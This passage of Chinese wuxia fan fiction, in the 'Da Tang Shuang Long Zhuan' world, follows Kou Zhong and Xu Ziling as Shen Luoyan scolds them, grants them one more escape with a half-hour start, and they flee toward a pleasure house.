她又道:“现在该谈谈你们两个的事了。”
徐子陵看着她宛如一湖秋水的动人眸子,没好气的道:“有话快说,我们还要去逛窑子呢!”
沈落雁狠狠瞪了他一眼,不悦道:“你们知否窑子里的姑娘都是身世可怜。你们恃着有几个子儿,就觉理所当然的去玩弄人家,究竟有没有感到惭愧?”
徐子陵一呆道:“我倒没想过这点。但若没有人去光顾她们,她们赚不够赎身的银两,岂非更要一直凄凉下去吗?”
寇仲晒道:“那所倚红院不是你们瓦岗军开的吗?为何却来数落我们?”
沈落雁皱眉道:“你在说甚么?倚红院一向是杜伏威在这里的眼线。干我们瓦岗军屁事。”
两人同时色变,皆因他们的行踪已被杜伏威所觉,恐怕很快就要来抓他们了。
沈落雁微笑道:“你们爱到青楼鬼混就去个够好了。现在秦叔宝已归降我军。你两个小子有什么打算?”
寇仲晒道:“有什么打算?沈军师算上这次,你也只抓了我们两次而已,第三次还没到呢。”
沈落雁一呆道:“秦叔宝不是说了,算上渡头那次,我只需抓你们两次就好。”
寇仲笑嘿嘿的道:“你都说了,那是秦老哥说的,你抓秦老哥只需抓两次就行,抓我们兄弟可还要再抓一次。”
沈落雁眉头一皱,看了下天色,又沉吟道:“好!我可以再放你们一次,不过这次我只给你们半个时辰逃走,半个时辰后,我就亲自来抓你们,到时别再想抵赖。”
“你抓到我们再说吧。”
寇仲说完,两人对视一眼,怪叫一声,从窗口跃了出去,将韩星传给他们的轻功发挥到极致,几个翻身,便赴林去了。
奔跑中,徐子陵问道:“仲少,我们这次往哪跑。”
寇仲苦恼道:“我敢肯定沈落雁那婆娘必定又在我们身上做了手脚,可问题是只有半个时辰,我们根本就没有时间找出来弄掉。”
他想了一阵,才道:“我看还是去香玉山开的那间翠碧楼吧。沈落雁找来了,说不定香玉山会帮我们阻挡一二。就算香玉山那小子不肯,那里品流复杂,我们也好趁乱逃走。”
徐子陵疑惑的看着寇仲,道:“你确定只是想逃走,不是去找姑娘?”
寇仲差点无语:“一世人两兄弟,你不是这都信不过我吧。”